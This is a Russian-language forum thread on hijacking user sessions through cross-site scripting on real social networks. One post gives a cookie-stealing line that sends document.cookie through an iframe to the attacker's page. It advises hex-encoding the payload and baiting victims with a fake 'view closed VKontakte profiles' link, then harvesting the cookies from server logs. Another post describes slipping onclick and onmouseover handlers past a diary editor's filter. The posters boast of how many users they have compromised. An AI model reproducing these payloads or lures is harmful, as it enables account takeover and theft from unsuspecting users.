#4 через тег iframe обращаешься к страничке своей с параметрами в адресе, в качестве параметра - кукисы вида
http://..../some.php?[location.host]:document.cookie
Параметр обычно хексят, делают вкусное название, типа "чтобы смотреть закрытые профили вконтакте - жмите сюда", дураков полно, клянусь, от них отпора нет.
В логах сервера отображают кукисы в виде параметра запроса к страничке, а там уже.. :)
Кстати, на браблее фильтрация пожоще, чем во вконтакце, хотя на количестве заовненых дибилов это не отражается.
#6 Это несложно, если понять работу фильтра. Два метода пропускает, пробовал в кач-ве параметров двух тегов. Когда дневник создаёшь, там есть встроенный редактор, его недолатали, да и я сильно не углублялся. Animal1ty молодец, он первый продемонстрировал метод онклик в дневнике. В тот же день через другой тег я применил onmouseover :) Я и не думал в дневниках чего-то пробовать, только на форуме экспериментировал. Думаю, есть ещё интересные штуки. Было бы только время..
#7 Не знаю, обязательно попробую, как будет время, разместить другие интерактивные объекты. Хотя я преследую немного иные цели.
Второй вопрос не понял. Что ты подразумеваешь под html? В дневниках резалка скриптов немного другая, не такая, как на форуме. Некоторые теги, что на форуме работают, тут немного по-другому пишутся.
Заменять не пробовал ничего.